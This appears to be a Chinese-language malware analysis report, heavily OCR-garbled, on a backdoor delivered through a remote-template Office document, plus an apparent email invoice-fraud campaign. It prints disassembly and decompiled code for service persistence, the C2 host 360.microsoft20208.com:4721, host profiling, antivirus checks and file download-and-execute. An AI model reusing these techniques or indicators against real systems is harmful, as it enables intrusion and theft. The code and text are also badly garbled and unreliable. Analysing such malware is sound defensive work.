theme cDEHE R GRE8 FME|/ 2 Ayl ax BEF =51 ER emB ”

=] set:ings.xml.nlﬂl
|<?xml version="1.0" encoding="UTF-8" standalone="yes"?2>
§ 2 <Relationships xmlns="

http://schemas.openxmlformats.oxr ackage/2006/relationships
"><Relationship Id="rIdl" Type="
http://schemas.openxmlformats.org/officeDocument/2006/relationships/attached

" e
I hetep://crphone.mireene.com/plugin/editor/Templates/normal . php?name=web" I

TargecHode=TEXCernaln/ ></RElationSnips>

= BEESHT

i B2 P AS SIS AR B — B A B AR R I BT R R R Bl R B
R iR G RBE TAIRRIE AR S . TR S ghost WA LM, BAGHER. (&
B T BT ETIRE

B REIR I 2 28 SRR, CARiZP-E . end ‘
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KN 853.39 KB
B g i [a] 2020-01-17
MD5 BFDSA3ED241D38A3C78A6762FF367124

R HAER

GREFPIBAT IR NAF RS — > DLL SUHF, FREARAE WA TN AT E A 1 “ shellex” & HiBR

M)
o

98

98

8B45 18

B9 ChAesanan
25 Frapeoas

HOP

HOP

HMOU EAX,DWORD PTR SS5:[EBP+8x18]
MOU ECHX,B8x8CA

AHD EAX, BxFF

8B75 BC MOU ESI,DWORD PTR SS:[EBP+8xC]

99 cDn

F7F9 IDIU ECXK

88C2 58 ADD DL,8=58

85F6 TEST ESI,LESI
. 6 13 JBE SHORT suchosut.B88482946

8BA4S B8 MOU EAX,DWORD PTR SS:[EBP+8xB]

8AA8 MOU CL,BYTE PTR DS:[EAX]

82CcA ADD CL,DL

32CA X0OR CL,DL

a2cna ADD CL,DL

32CA XOR CL,DL

8808 MOU BYTE PTR DS:[EAX],CL

na INC EAX

LE DEC ESI
~ 75 F@ JHZ SHORT suchosut.B88482936

SE POP ESI

1) FOP EBP

c3 RETH

o8 HOP

o8 HOP
HEX #ii=E ASCII
4D A 00 60|63 6O 60 68|64 B8O 68 BB|FF FF 88 88| M2? ... |...Jjii..
B& OO0 00 60/ 900 60 00 DO) 40 OO0 OO0 OO(00 00 OO 6O)7...... B.......
G0 60 60 00|00 DO OO OO| GO OO0 00 OD|DO OO 680 60| ... ... enannnnnn
88 60 B0 00|00 OO OO 00|60 B0 60 00|68 81 68 60| ... ... ... ..
BE 1F BA BE( 688 B4 689 CD|21 B8 81 4C|CD 21 54 G6B|(EN?.¥77L7Th
69 73 28 78|72 6F 67 72|61 6D 28 63|61 6E 6E 6F|is program canno
74 28 62 65|28 72 75 GE|28 69 GE 28|44 4F 53 28|t be run in DOS
6D 6F 64 65(2E 6D 8D BA|24 G0 B0 00|60 OO 68 68 muﬂp....$ .......

TBAT I Bl A N2 TR 2

K. Nt HdT %= DLL
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53

8B1D B3G6OAO10
57

68 G47BOO10
FFD3

8B3D BCAHOBAO1O
68 28818810
58

8946 08
FFD7

68 148180810
8946 20
FF76 B8
FFD7

68 848180810
8946 24
FF76 B8
FFD7

68 Fygoee1e
8946 28
FF76 B8
FFD7

68 Exg080810
8946 2C
FF76 B8
FFD7

68 D8goBe10
8946 30
FF76 B8

IDINC IwmEE

EFERENZBEARBHERAF

PUSH EBX

HOV EBX,DWORD PTR D3:[0x180860B3]
PUSH EDI

PUSH Bx18807B64

CALL EBX

HOV EDI,DWORD PTR D3:[6x18088608BC]
PUSH Bxz18808128

PUSH EAX

HOV DWORD PTR DS:[ESI+Bx8],EAX
CALL EDI

PUSH Bz18808114

HOV DWORD PTR DS:[E3I+0x28],EAX
PUSH DWORD PTR DS:[ESI+Bx8]
CALL EDI

PUSH Bx18808184

HOV DWORD PTR DS:[E3I+0x24],EAX
PUSH DWORD PTR DS:[ESI+Bx8]
CALL EDI

PUSH Bx188080F%4

HOV DWORD PTR DS:[E3I+0x28],EAX
PUSH DWORD PTR DS:[ESI+Bx8]
CALL EDI

PUSH Bx180080E4

HOV DWORD PTR DS:[E3I+0x2C],EAX
PUSH DWORD PTR DS:[ESI+Bx8]
CALL EDI

PUSH Bx1088080D08

HOV DWORD PTR DS:[E3I+0x38],EAX
PUSH DWORD PTR DS:[ESI+Bx8]

K. sha N sk

kernel32.LoadLibraryf
ASCII “Kernel32.dll”™

kernel3?2.GetProcAddress
ASCII "CreateProcessA™

ASCII "GetHoduleFileNameR™

ASCII "CreateHutexp™

ASCII "Releaselutex™

ASCII "GetLastError™

ASCII "CloseHandle™

Y ETHERE B £ DL B RS 745 H . C:\Windows\svchosvt. exe o

FF15 ACA0808618
8D45 ES

8D85 AGBFDFFFF

FF15 88600810

MUU BYIE FIR 35I| EBP-UxX13],Ux6L
HOU BYTE PTR 3S:[EBP-8x12],8x64
HOU BYTE PTR 3S:[EBP-8x11],8x6F
HOU BYTE PTR SS:[EBP-8x18],8x77
HOU BYTE PTR SS:[EBP-BxF],8x73
HOU BYTE PTR SS:[EBP-BxE],Bx5C
HOU BYTE PTR SS:[EBP-8xD],8x73
HOU BYTE PTR SS:[EBP-BxC],Bx76
HOU BYTE PTR SS:[EBP-BxB],8x63
HOU BYTE PTR SS:[EBP-BxA],Bx68
HOU BYTE PTR SS:[EBP-8x9], Bx6F
HOU BYTE PTR SS:[EBP-8x8],8x73
HOU BYTE PTR SS:[EBP-8x7],8x76
MOU BYTE PTR 3S:[EBP-8x6],0x74
HOU BYTE PTR 3S5:[EBP-8x5],8x2E
HOU BYTE PTR 3S5:[EBP-8x4],8x65
HOU BYTE PTR SS:[EBP-8x3],8x78
HOU BYTE PTR SS:[EBP-8x2], 8265
CALL DWORD PTR DS:[8x1808868AC]
LEA EAX,DWORD PTR SS:[EBP-Bx18]
PUSH EDI

PUSH EAX

LEA EAX,DUWORD PTR SS:[EBP-8x268]
PUSH EAX

CALL DWORD PTR DS:[Bx18886888]

K. BHRE

TR T9<C s \Windoves\suchosut .exe>
kernel3?2 . GetHoduleFileNamen

kernel32.CopyFilen

L DL C:\Windows\svchosvt. exe BB = A6 E RGIR S TE D).
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la18088
‘18FBa
ac
S]]

Le6aa618
BEFCFFFF

54608018
98FCFFFF
B4FCFFFF
B4FCFFFF

BSFCFFFF
58608018
S4FCFFFF

88FCFFFF

EFERENZBEARBHERAF

PUSH ERX

PUSH 8x1

POP ESI

PUSH ESI

PUSH 8x2

PUSH 8x118

PUSH @xFB1FF

PUSH DUWORD PTR SS:[EBP+8xC]

PUSH DWORD PTR 33:[EBP+8x28]

PUSH EDI

CALL DWORD PTR DS:[8z18886A58]
HOU DWORD PTR SS:[EBP-8x348],ERX
PUSH EDI

CALL DUWORD PTR DS:[8x18086854]
HOU DWORD PTR SS:[EBP-8x368],EAX
WOV DWORD PTR S3:[EBP-8=34C],0x100085CC
LEA EAX,DWORD PTR S5:[EBP-8=3L4C]
PUSH ERX

PUSH ESI

PUSH DWORD PTR SS:[EBP-Bx34B]
CALL DUWORD PTR DS:[8x18086858]
WOV DWORD PTR S3:[EBP-8237C].EBX
XOR EAX,.EAX

LEA EDI,DWORD PTR SS:[EBP-82378]
ST0S DUNRD PTR FS-TEDT1

advapil2.CreateServicen

advapi3?.LockServiceDatabase

ASCII "Cdefgh”

advapi3?.ChangeServiceConfig2na

662128 {advapi3?.CreateServicen)

B812F 434
B812F 438
B812F43cC
B812F448
BE12F 4y
B812F 448
0812F44C
B812F458
BO12F45h
BO12F458
BE12F45C
B812F460

BO2CHECE || hManager = B02C4BCE
1886885CC || ServiceName = "Cdefgh”

108688CF4 || DisplayName = "Cdefgh Jklmnopq Stuvwxya Cdef"

008F B1FF || DesiredAccess = SERVICE_ALL_ACCESS

0000681108|| ServiceType = SERVICE_WIN3Z_OWNM_PROCESS |SERVICE_INTERACTIVE_PROCESS

poeapae2 || StartType = SERVICE_RUTO_START
000008881 || ErrorControl = SERVICE_ERROR_MORMAL
8812F5CC || BinaryPathHame = "C:yWindows\swchosut._exe®

00008888 || LoadOrderGroup = HULL
00000888 |]| pTagld = HULL

00000880 || pDependencies = HULL
0000800888 || ServiceStartdame = HULL
aaeaeeas | LPassword = MULL

K B RSS B A 3l

FUETRE PR 30 ) R 48 H 3% C: \Windows\system32\ 3 H UL {FEAL{E. bak} iy % -
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HOU ESI,Bx164

LEA EAX,DWORD PTR SS:[EBP-0x288]
PUSH ESI

PUSH EAX

PUSH DUWORD PTR DS:[8x1888BESC]
CALL DWORD PTR DS:[Bx18888AGC] kernel3? . GetHoduleFileNamen
LEA EAX,DWORD PTR SS:[EBP-0x104]
PUSH ESI

PUSH EAX

CALL DUWORD PTR DS:[8x10888AB8] kerneld2?.GetSystemDirectoryn
CALL DWORD PTR DS:[Bx188866EL4] kernel32?.GetTickCount

PUSH EAX

LEA EAX,DWORD PTR SS:[EBP-8x184]
PUSH EAX

LEA EAX,DWORD PTR SS:[EBP-8x184]
PUSH 0x100070FY4 ASCII "%s\%d.bak"
PUSH EAX
CALL DVWORD PTR DS:[Bx1888BACC] user32 .usprintfa
ADD ESP,Bx18

LEA EAX,DWORD PTR SS:[EBP-8x1084]
PUSH EAX

LEA EAX,DWORD PTR SS:[EBP-8x288]
PUSH EAX

CALL DUWORD PTR DS:[8x1888BABC] kernel32? _HoveFilen
PUSH Bx4

LEA EAX,DWORD PTR SS:[EBP-0x104]
PUSH Bx@

PUSH EAX

CALL DUWORD PTR DS:[Bx188BBACH] kernel32? . HoveFileExA
FOP ESI
LEAVE
1RFTH

B012F24%4| B8O0800000|| NewName = HULL

8012F248| BGO0OBOBL4|LFlags = DELAY_UNTIL_REBODDT
B012F24C| BOB0BO081

B012F258| 555C3A43

BO12F25Y4| 73726573

BE12F354 [Existingﬂame = "C:iWindows\system32\11834512.bak™

K. et 25 H %
YIRS AR B 31 5 A By E A 32 HKLMASYSTEM\ControlSet\services F&BIEEIRS “Cdefgh” .

EEV) MRl EEH)

| BthPan - | = Bt s

b - BTHPORT a_b‘l (BFiA) REG.SZ EEEEE)

i bthserv ab| Description REG_SZ Cdefghij Lmnopgrst Vwxyabe Efghijkl Nop
i BTHUSE ab| DisplayName REG_SZ Cdefgh Jklmnopg Stuvwaya Cdef
jicdefh 24| ErrorCantrol REG_DWORD 000000001 (1)

s cdfs ‘|'|'5\| FailureActions REG_BINARY 80 51 01 00 00 00 00 00 00 00 00 00 03 00 00 00 14 00 00 00 01 00 00 00

;i:;:opS\n "’_‘qGroup REG_SZ Default

- circlass "’_"\llmageF’ath REG_EXPAND 57  CAWindows\svchosvi.exe

. @ curs 28] InstallTime REG_SZ 2020-02-10 14:19

| dr_optimize {b\lMarI-cTime REG_SZ 2020-02-10 16:03
| dr_optimizz {b\lobjer:tl\lame REG_SZ LocalSystem
| CrmBatt ab|Remark REG_SZ MZ?

L] emdide 24| Start REG_DWORD 000000002 (2)

L1 CNG | Type REG_DWORD 0xD0000110 (272)

j> <. Compbatt

K. iSRS BAEHE B

B H R 2, %FR: 360.microsoft20208. com:4721.
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wsprintfA{&Hame, aSD, String1, dword_ 188885C0);// ASCII “368.microsoft28288.com:4721"

if { CreateMutexn{@, @, &Hame) && GetLastError{) == 183 )

{
Sleep(@);
ExitProcess(@);
H
sub_18088266F { ServiceName) ;
sub_1080812Da{&u22);
vt = B8;
vln = B8;

R F TN U

BTN C2 4 360. microsoft20208. com.

83F8 FF CHMP EAX,-B821
8946 4B MOU DWORD PTR DS:[ESI+Bx48],EAX
. 4 hb JE SHORT 18881495
FF75 B8 PUSH DWORD PTR SS:[EBP+8x8]
FF15 488B0O16 |CALL DWORD PTR DS:[8x10088B408]
8BF8 MOU EDI.EAX
3BFB CHMP EDI,EBX
. a3 JE SHORT 188814925
FF7?5 BC PUSH DWORD PTR SS:[EBP+BxC]

66:C745 DC 920| MOU WORD PTR SS:[EBP-8x24],8x2
FF15 44886618 |CALL DWORD PTR D3:[0x108008Bu44]

668945 DE HMOU WORD PTR SS:[EBP-8x22],AX
8B47 BC MOV EAX,DWORD PTR DS:[EDI+BxC]
6Aa 18 PUSH Bz18

8808 MOV EAX ,DWORD PTR DS:[EAX]

8808 MOV EAX ,DWORD PTR DS:[EAX]

8945 EB MOV DWORD PTR SS:[EBP-8x20],ERX
8045 DC LER EAX ,DWORD PTR S5:[EBP-0x24]

ce PUSH ERX

ws2_32.gethostbyname

ws2?2_ 32 _ntohs

FF76 48 PUSH DWORD PTR DS:[ESI+8x48]
FF15 488B06168 |CALL DWORD PTR DS:[8x10088B48] ws2_32.connect
83F8 FF CHMP EAX,-B8z21
. 5 B4 JHZ SHORT 188814292
32Cce “O0R AL,AL
EB 60 JHMP SHORT 168681582

IB48]=769148BE (ws2_32.connect)

ASCII

HEX #7iE

33 36 38 2E|6D 69 63 72|6F 73 6F
38 38 2E 63|6F 6D 8@ 88| C3 69 55
68 C2 68 BB|28 AB 6B 88|63 688 72
6F BB 66 BB|74 B8O 32 08|30 88 32

L AER R R S P B

typedef struct

{

BYTE bToken;

char UpGroup[32] ;
IN_ADDR IPAddress;
char HostName [50] ;
TCHAR sznet[20] ;
OSVERSIONINFOEX OsVerInfoEx;
DWORD dwMa jorVer;
DWORD dwMinorVer;

66|74 32 38 32
24|43 97 B0 oo
8@8(6F 688 73 B8
8838 60 38 B8

368.microsoft2e2
08 _con. _fifusce.

hE . (fF.c.r.o.s.
o.F.t.2_8.2_0._8._

Bl o7

o

// =1
/] EEITH

// EHLA
//net type

/] RAE R
/] RGEERAE
/] RGRIRA

47
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DWORD dwBuildNumber; // Z%tBuild R4
char CPUClockMhz[20]:// CPU{Z K.
DWORD dwSpeed; // W

UINT bIsWebCam; // ARGk
bool bIsWowb4:

DWORD dwMemSize;

char MarkTime[50] ; // e |
char Virus[40]; ﬂ<ﬁ¢$kﬂ#
char szQQNum[ 2507 ; Bt QQ

BOOL bIsActive; // PR
char RemotePort [128]; //izfEim 1

} LOGININFO;

wsprintfa{&v?, asSystemCurrentc, ServiceName});
memset{&Dst, B, B8x20u);
u2 = lstrlenA{::5tring);
nCreateFile{-2147483646, &v9, aGroup, 1, &Dbst, 8, v2, @);
memset{&uid, B, 8x18u);
vih = 16;
dvord_10008B64{={a1 + 72}, &u30, &uil);
memcpy{&uiz, &Src, 4u);
sub_1806682E86(&u13, Bx32u, &u9);
UersionInformation.dwdSUersionInfosSize = 156
GetVersionExA{&UersionInformation); /1 BERSER
if { sub_18803412(&v36, &u35, &U33) )
{
ulh
17
vig
H
u2?2 = sub_18688336B{) *= 8;
sub_18802E2C(&u10); /4 FEEVCPUSTER #2030
u3 = sub_188083611(); i ﬂﬁ'T%{{Tuuz;
1strcpyn(&String1, v3);
vl = sub_18883F99(); /¢ RIEEREENHRE
strocpy({&best, ul);
w2y = B;
plii.cbSize = 8;
GetLastInputInfo{&plii);
if ( GetTickCount() - plii.dwTime > Bx2BFZ28 )
w2y = 1;
Buffer .duLength = 64; i iEEE
GlobalMemoryStatusEx{&Buffer);

u3lG;
u35;
uwid;

u23 = Buffer.ullTotalPhys >> 28;

u20 = az;

u21 = sub_18882BEC();

ufi = sub_1088345A(u5); Af PR ERERE
1strcpyAf&ully, vhi);

sub_1@883F1B{aRdpTcp, &u28, Bx88u); /7 TiEiniEE e ] 3389

sub_188833aB(&veE, &String, Bx32u);
return sub_18081841{al1, &uib, Bx23Cu};

K. R E R

JEiE “CTXOPConntion Class” FRHUAHTE A QQ 5,
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Str = @;

memset{&ui1, B, B8x180u);

viZ2 = B;

uld = B3 /4 CTX0PConntion_Class
qmemcpy{&ClassHame, Str2, Bx1Lu);

pest = A;

memset {(&ui6, @, BxFBu);
memset{&u7, B, Bx1808u);

v = 8;
ud = 8;
fFor ( i = FindWindowA{&ClassHame, 8); i; GetCGlassHamen{i, &ClassHame, 2608) )
{
if ( tstrcmp(&ClassHame, Str2) )
{

GetWindowTexta{i, &ClassHame, 268);
vl = strlen{(&ClassHame) ;
do
-—u1l;
while { ={&ClassHame + wi) *= 95 3;
strcpy{&best, &Source[uvi]);
strcat{&str, &Dest);
strcat{&str, ::S5ource);
H
i = GetWindow{i, 2u});
H
CloseHandle{i);
sub_1888359D(&ZLr);
uvZ = strlen{&sStr);
ud = w2 £ 4;

K. RE QQ S

R, RIS E AR .
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FEEFEREM ZEAR BB ERAF

afvastCL db ‘AvastfzEEEe,e ; DATA XREF: _data:off_1800717870
db ]
db g

aAshdisp_exe
afviraBB

afvcenter_exe

asc_10887964

akxetray_exe

text "UTF-8", 'ashDisp.exe’,8

db

; DATA XREF: .data:DFF_1ﬂﬂﬂ?1?BTu

‘Aviral.|ETsE) .0 ;: DATA XREF: .data:off 1888717870

align 4

text “UTF-8",

‘avcenter.exe” ,8
; DATA XREF: .data:uFF_1BBﬂ?1?Bfn

align 4

db

‘2 LEF .0

; DATA XREF: .data:uFF_1ﬂﬂﬂ?1?ﬂfu

align 16h

text "UTF-8*,

‘kretray.exe’ ,8
; DATA XREF: .data:uFF_1BBﬂ?1?ﬂTu

aHod32 text “UTF-8", 'NOD32',8 ; DATA XREF: .data:off 18686717870
align &4

aEgui_exe text "UTF-8", 'egqui.exe’,B8 ; DATA XREF: .data:uFF_1ﬂﬂB?1?ﬂ?u
align 18h

az db ‘EM0ET L6 ; DATA ¥REF: .data:off_1@@0717670
align &4

alcshield_exe

asc_1088879A8
aRavmond_exe
aH

akvmonxp_exe

text “UTF-8",

'Mcshield.exe” , 8
; DATA XREF: .data:DFF_1BBﬂ?1?BTD

align 4

db

EESE. ; DATA XREF: _data:off_1000717870

align 4

text "UTF-8*,

‘RavHonD.exe’ .8
; DATA XREF: .data:uFF_1BBﬂ?1?ﬂTu

YIREE . ; DATA XREF: .data:off_ 100887170870

align &4

text “UTF-8",

"KuMonXP .exe" ,8
; DATA XREF: .data:uFF_1BBﬂ?1?BTu

al db FEHEE" .0 ; DATA XREF: _data:off_1000717670
align &4
afup_exe text "UTF-8", "avp.exe',8 ; DATA XREF: .data:uFF_1ﬂﬂﬂ?1?ﬂTu
ERLT db '366EE L0 ; DATA XREF: _data:off_1@06717670
al3bébsd_exe db '36@8sd.exe’ B s DATA XREF: .data:nFF_1ﬂﬂﬂ?1?ﬂTu
dh i}
db o
a366L db ‘3667714 ,a ; DATA XREF: .data:off_108088717070
al6ftray_exe db 368tray.exe’,d s DATA XREF: .data:uFF_1BBﬂ?1?BTu

K. Ak e R

Ja BN AEE REAR A, I switch G50 R K HAT
ThaesI:

SUEEM (Gl HE. EH. #EO. . HlegE. AR E. Elrd. MEBUT. IT
FEMTL CRoR) FIHAMTE (R Sk#HfE. ImHE . Messageboxs JI/EACHE. SCHACHEE,
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EFERENZBEARBHERAF

else
{
suitch ¢ vh )
{
case 8:
sub_18881ES59({*{Size + 1));
return;
case 2:
sub_18881F46{{Size + 1), B);
return;
case 4:
sub_18881F46{(Size + 1), 1);
return;
case 6:

1 IRFAR

®(this + 4 = =(this + 4812) + 12) = sub_18004CF2{@, @, sub_18882567, Size + 1, @, 8);

++#{US + 4E12);
Sleep(Bx64u);
return;
case 8:
sub_18882494({(Size + 1), 1);
return;
case 9:
sub_18882494({(Size + 1), 8);
return;
case 1:
sub_168882828();
return;
case 18:
sub_18882287({Size, lpAddress};
return;
case 12:
sub_18882467(Size, *({this + u4}};
return;
case 13:
i = =fthi=z + AhY:

K

PETHHEFERR: SeShutdownPrivilege.

/7 FTFFIER 22, hinlFaERIURL

1 BIEE

1O ATEEESH
/7 HIERR

IR 2L
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uly = 1;
u? = LoadlLibrarya{afdvapi3d2 dll 8);

ulh = GetProcAddress{v?, alpenprocesstok);
ui12? = GetProchAddress{u?, afdjusttokenpri);
ui13 = GetProchAddress{uv?, alLookupprivileg});

u3d = LoadlLibraryf{HoduleHame} ;

hLibModule = wuw3;

uly = GetProcfAddress{uvi, aGetcurrentproc);
11 {ub)(hB, &hObject);

result = (ui4){uvs);

if { result )

{

ug = 1;
vil = a2 =8 7 2 : B8; £f SeShutdownPrivilege
(u13){@, al, &uia);
{(v12){h0bject, B, &9, 16, B8, B8);
u? = LoadLibraryf{akernel32 dl11 2);
uf = GetProcAddress{uy, aGetlasterror);
if ( vB() )
ul7y = B;
CloseHandle{hObject);
if ( v2 )
FreeLibrary(v2);
if { hLibModule )
FreeLibrary(hLibModule};
result = vi7;

¥

return result;

K. HEREIRAY

JEE) IE W BE &, DARS R s 77 2005 il $i8 7€ 1 URL 4%

FUSH BX1
PUSH ESI
PUSH B8x1008713C ASCII "Applicationsiiexplore.exe\shelliopenicommand™
PUSH Bx80000088

CALL 1886852CA

ADD ESP,Bx2C

TEST EAX,EAX

JE SHORT 18882561

LEA EAX,DWORD PTR SS:[EBP-8x158]
PUSH EAX

CALL DWORD PTR DS:[8x180860D4] kernel32.1strlenf
TEST EAX,EAX

JE SHORT 18882561

LEn EnX,DWORD PTR SS:[EBP-8x158]
PUSH 8x188687114 ASCIT "%1™
PUSH EAX
CALL DWORD PTR DS:[8x18086158] msvcrt.strstr
POP ECX

CHP EAX,ESI

POP ECX

JE SHORT 18882561

PUSH DWORD PTR SS:[EBP+8x8]
PUSH EAX

CALL DWORD PTR DS:[B8x100860E8] kernel32.1strcpyf
PUSH Bx18
XOR EAX,EAX

B Uil 45 € 1) URL B2

HiE#EIIRE, MER “Cdefgh” M55, AR AL,

52



IDINC IS L EER B W e B AR A TR AT

SC_HAMDLE wA; /f eaxiEd

S5C_HAMDLE wi1; /f eaxiEd

int v2; // [sp+Bh] [bp-94h]@1

unsigned int v3; /f [sp+4h] [bp-98h]E2
int uh; // [sp+16h] [bp-84h]E1

1]5] OpeniCHManagerA{@d, 8, 2u};
u OpenServiceA{vd, ServiceMame, BxF@1FFu);
DeleteService{ul);
sub_18881FA4();
U2 = 148;
dword_18088AAB(&U2) ;
if { vh == 2 && u3 »>= 6 )
dword_18008EG6A = 1;
exit({@);

K. AR

AR, ISR E 1 C2 RS AR ] N ORI,

vii 1;

uis 1;

v? = LoadLibrarya{aWininet_d11_@};

hHModule = v2;

u3d = GetProcAddress{v?, alnternetopena};

v12 = {v3){aMsie6_@, 8, B, B, 8);

if {( vi12 && (vb4 = GetProcAddress{v?, alnternetopenur), (ui10 = {uvis){vi12, hFile, @, O, Ox80000088, @)) *= 6) )

hFilea = CreateFileA{lpFileHame, O8x408000806u, @8, 8, 2u, 8, @);
if { hFilea t= -1}

while { 1)

{
memset{&Dst, B8, Bx486u);
v = GetProcAddress{hiodule, alnternetreadfi);
(u6)(uiB, &Dst, 1824, &nHumberOfBytesTolWrite);
if  vi1 )

if { Dst *= 23117 )
break;

H
vil = B;
WriteFile{hFilea, &Dst, nHumberOfBytesToWrite, &NumberOfBytesWritten, @);
if { nNHumberOfBytesToWrite <= 8 )
goto LABEL_12;
H
uis = B3
ABEL_12:
CloseHandle{hFilea);
v2 = hHodule;
H
Sleep(1u};
u? = GetProcAddress{v?, alnternetcloseh)};
{u7y(uvin);
(v7y(uvizy;
if ( v2 )

K. NIRRT

PAT ARSI, 5 N B EEE 5 SIS FE I G BERE R IAT -
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else

{
strecpy{&best, Source);

H

if ( tnCreateFile(2147483648, &Dest, @, 1, &Dst, @, 268, B8) )

goto LABEL_21;
memset(&vo, B, Ox1Fhu);
usprintfA{&u6, aSShellOpenComm, &Dst);
memset (&Dst, @, Bx184u);
Stringl = 83
memset(&ue, B, BxX100u);
vl = B8;
vig = @;

ff %sishellyopenycommand

if ( nCreateFile(2147483648, Bué, B, 2, BStringl, B, 268, 8) )

{
nWriteFIle{&Stringl, &Dst, 268);
vt = strstr{&bst, Subitr);
if { vS || (v5 = strstr{&Dst, al)) *= 8 )
{
1strcpyA{us, Str);
¥
else
{
1strcatA{&Dbst, ::Source);
1strcatAa(&Dbst, Str);

¥
memset(&ui1&, B, Bx48u);
17y = 68;
ifF { a2 )
{
u19 = aWinstaBDefault;
¥
else
{
vze = 1;
vzl = B8;
¥

nCreateProcess(@, &0st, @, @8, 8, 8, @, 8, &i7, &li6);

result = 1;

K. AT S

i iy HERE R A5 I AR BB R 554 o
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int v6; // [sp+Ch] [bp-134h]@2

CHAR String2; /7 [sp+36h] [bp-116h]@4
FARPROC v8; // [sp+134h] [bp-Ch]@1
FARPROC v9; // [sp+138h] [bp-8h]@1
int v18; /7 [sp+13Ch] [bp-4h]@1

u1 = LoadLibraryf{ModuleHame};
u? = GetProcAddress{vi, aCreatetoolhelp};
U9 = GetProcAddress{vi1, aProcess32first);

ulld = B;
ug GetProcAddress{vil, aProcess3Znext);
ud (vz2y{2, 8);
if { v3d )
{
UG = 296
for { i

{

(U932, &uad: i 1 = (u8){vid, &UGY )

if ( *lstrcempifA{lpStringi, &String2) )
1
Uil = 1;
break;
¥
¥
H
CloseHandle{uw3);
ifF { vl )
FreeLibrary(vi);
return vid;

K FREGERR S 2

=, RERHHT

5 02 5 4 T A I AT 5 R, Ol P R Bt R 2010 4R REARIF M
BOAA I N BB &, LR R R ISR, TR e
HIUAE 2019 46 11 Ay, PP LI SEAER 2 R AR P AR AP . KT DU
HH T T B 0 R B AR T A

EiR

|| 8559599943 i EE T T ES M beacon BHES SHEAETSH.com.bin
|| 859603214 /Myt IR E R A TR R A 2 322 exe.bin

| 1870230971 1A1R 0 e IR R B T exe.bin
|| 871825726_F2: ! | AR EE AMSTIRH.crnd bin

|| 871044287 2R ESFR LSS ERETT SRITIERRIA (2).cmd.bin
|| 872421473_2rhEEF MRS EEL SETTRE A .cnd bin

|| 873925912 B-F2/NEAFEIGETRIE | 15 MR (2).crnd.bin
|| 8vesTEE2E_FH-FIEREET &8 omdbin

|| 580750965 BRiTRerT iR Zip bin

|| 880680716_MHER X _E A" SR sATE T cmd bin

|| 882620108 _BHSAMTBE.cnd.bin

|| 891523746 B i b dEER | BEmSHEIHS Aamd.bin

B SREREA ST 4
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RE: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT & DOWN PAYMENT NEW ASIA PROJECT

uliana [world trans] | v
42 'Nora', 'ruyi.zhou', 'ahmadunaids1984', 'dchan’, 'yulia', 'iva’, 252, 'T53EE 'dhdriyadi’, 'dhard’, 'wenny', 'arta’, ‘artatil5ad’, ... 2020-06-23 09:57 BEFE
FEA: uliana [world trans] <ulianas@ >
Wik A: "Nora' <nora@® >,I'ruyi.zhou‘Cruyi.zhou@l >
FUEE Wil L5 e |
L Ll Al el iy
g o FLF
1T i "]
B8l 2020868230 (B) 09:57 <D
/v 200 KB
Dear Mr. Ruyi Zhou
Have you transferred USD 7140,153 for down payment New Asia Project.
We waiting your bank slip by today because shipment has arrived
Regard's
Uliana
From: uliana [world trans] [mailto:ulianas@syetR e e scnaoy
Sent: Monday, June 22, 2020 12:13 PM
To: 'Nora'; 'ruyi.zhou'
Cc: 'ahmadunaids1984'; 'dehan'; 'yulia’; iva’; '8 HEE, 'dhdriyadi’; 'dhard'; 'wenny'; 'arta’; 'artatil5ad’; 'nanda’
Subject: RE: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT & DOWN PAYMENT NEW ASIA PROJECT
Dear Mr. Ruyi Zhou
Have you transfer USD 7140,153 for down payment New Asia Project.
i N Y M= e Y AL L N 2
K. S s 5 05 8 s U 3EAT B A 45
Re: Re: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT
ruyi.zhou v
#42 Nora, uliana [world trans], ahmadunaids1984, dchan, yulia, iva, 2252, 5222, dh4riyadi, wenny, arta, artatil5ad, nanda 2020-06-19 14:49 [EEEE
FEAEA: ruyizhou <ruyizhou@
Lf{{¢A:IN0ra<n0ra@ I
5 pllgr Peedtd wE o i g | 1
3 Far ] a |
Lm Al =y

Ef[Al: 20206H190 (Af) 14:49
Fih 922 KB

X INV RTA New Asiapdf (484 KB)

DEAR NORA:
We just changed the settlement method with our customers today. So please fill in the attached bill to us, give us the US
dollar bill at the price of 8.5usd. We pay you in US dollars. thanks

HPEA : Nora <norai e i e s @i n.

KikRtE: 2020-06-19 12:13

F#: Re: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT
B PEA 2 "ruyi.zhou"<ruyi.zhou @ sl Bk o

K. Hfiiia s 540 8 i s AT I8l

Bk HELEE — AN, 0 A O sl 8 B R i o~ ml ATl s, IR SRIGE 1R A

ot
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ARG . WAEHUSERBI R RS A RN 5 12 REN, HEAFIELEER A 7 iZHHN
MIBGEE R, MR ViR, IR 5, B k.

RE: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT

Settlemen 70% JIP Semal

GEE- {pEEEy pasy e $oEsE S

RE: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT

Sub Tot:
Nora ViE
42 ‘ruyizhou', 'uliana [world trans]’, "ahmadunaids1984’, ‘dchan’, 'yulia', ‘iva’, '3 Wt
Paid US
EHEA: Nora<nora@esll T BESClE A GRAND TOTA
Ik : ‘ruyi.zhou' i.zh s = bt =i
S A ruyi.zhou' < ruyizhou@: fjﬂﬁ‘lﬂmk}\
FHE e feeorid e 3 1 F bk
= 1 la = L " ikl v
W v iomy By — § S Please make payment to Authorized Signature :
Beneficiary Name: FI. ik T sams 1. AR T
Sl = il i E ] Beneficiary Account Number: Beiilic® iisia
bRl 51 0 el LRI rar i 4 von bl e Bank Name and Address:
— — . A A LGRS AR WP
B 2020565248 (A=) 13:01 D Bank Swift Code:
Fx: 785 KB Bank Code: B8
[ Invoice Settlemen 70% IL.. (426 KB)| please send bank siip to David Chandra
Dear Mr.Ruyi Zhou, Email: finance @ s Wi i T i Director
CC. Mr. Tony Zhou,

HSWm ARITER

Reminder .. !}
Please inform your payment.
End balances invoices of this shipment (JIP Semarang Project) that you should pf

Please make sure our account number :

Bank name :
Account number =57 HEES
Beneficiary name 1L Al Trami

e oom |
Bank code <l

B BB SRR Tnvoice {58

5. invoce Setlemen /0% I Semarang Projecpd - Adebe Reader I
daEE - <hBEseE- spany e O oseEs = TP RRE) REN S0W)  ZEH)

?]ﬁ|@@@@g]%|_ ,.'1‘(5)

Re: INVOICE SETTLEMENT 70% OF JIP SEMARANG PROJECT

Nora
INVOICE
